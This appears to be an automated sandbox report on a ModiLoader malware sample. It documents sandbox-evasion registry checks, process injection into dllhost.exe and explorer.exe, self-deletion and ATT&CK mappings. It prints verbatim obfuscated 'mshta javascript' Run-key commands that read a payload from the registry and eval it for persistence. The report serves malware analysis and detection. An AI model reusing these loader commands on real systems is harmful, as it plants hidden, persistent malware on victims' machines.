modiloader | 63a0bf6385356dd0297449bdca2a2f171846315505800e81a4c0285f09c87312

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:CB2Ixf4E=\"rfk\";pf4=new%20ActiveXObject(\"WScript.Shell\");C5F4UTQRL=\"s\";x1PCW3=pf4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\e28dcd0d\\\\ce2b9103\");XnuPB32MSg=\"92S4PEz\";eval(x1PCW3);aQOL88BTpf=\"D2m\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe

Deletes itself 1 IoCs

Processes:

dllhost.exe

pid process

4348 dllhost.exe

pid	process
4348	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:MoicVD8z=\"Gk\";D80D=new%20ActiveXObject(\"WScript.Shell\");ZerOoP3T=\"T\";xa9v7I=D80D.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\e28dcd0d\\\\ce2b9103\");hy0lNm5o=\"Gi9Sn\";eval(xa9v7I);Vmg5tzh7G=\"JEWRnMxI\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:wVDxW7B=\"L5zf8ng\";K7X=new%20ActiveXObject(\"WScript.Shell\");fE8iY8Yaw=\"n\";K9EqO=K7X.RegRead(\"HKCU\\\\software\\\\e28dcd0d\\\\ce2b9103\");wghITD7I=\"qQUc\";eval(K9EqO);Wd7FnlL=\"iqTFs\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe

description	pid	process	target process
PID 3220 set thread context of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

Processes:

dllhost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exedllhost.exe

pid	process
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exedllhost.exedllhost.exe

pid	process
4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4220	dllhost.exe
4220	dllhost.exe
4220	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe

pid process

3220 VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exeVirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exedllhost.exedllhost.exe

description	pid	process	target process
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
PID 4040 wrote to memory of 4220	4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	dllhost.exe
PID 4040 wrote to memory of 4220	4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	dllhost.exe
PID 4040 wrote to memory of 4220	4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	dllhost.exe
PID 4220 wrote to memory of 4348	4220	dllhost.exe	dllhost.exe
PID 4220 wrote to memory of 4348	4220	dllhost.exe	dllhost.exe
PID 4220 wrote to memory of 4348	4220	dllhost.exe	dllhost.exe
PID 4348 wrote to memory of 4756	4348	dllhost.exe	dllhost.exe
PID 4348 wrote to memory of 4756	4348	dllhost.exe	dllhost.exe
PID 4348 wrote to memory of 4756	4348	dllhost.exe	dllhost.exe
PID 4348 wrote to memory of 1856	4348	dllhost.exe	explorer.exe
PID 4348 wrote to memory of 1856	4348	dllhost.exe	explorer.exe
PID 4348 wrote to memory of 1856	4348	dllhost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
"C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3220

C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4040

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
3⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4220

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
4⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4348

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
5⤵
PID:4756

C:\Windows\SysWOW64\explorer.exe
explorer.exe
5⤵
PID:1856

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

3

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery